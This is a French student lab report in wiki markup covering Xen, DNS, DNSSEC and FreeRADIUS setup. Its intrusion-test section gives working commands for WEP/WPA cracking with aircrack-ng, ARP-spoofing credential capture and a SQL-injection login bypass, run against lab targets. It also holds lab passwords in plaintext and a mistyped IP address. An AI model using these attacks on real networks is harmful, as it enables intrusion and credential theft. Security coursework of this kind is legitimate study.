    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Interface eth0]]]&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
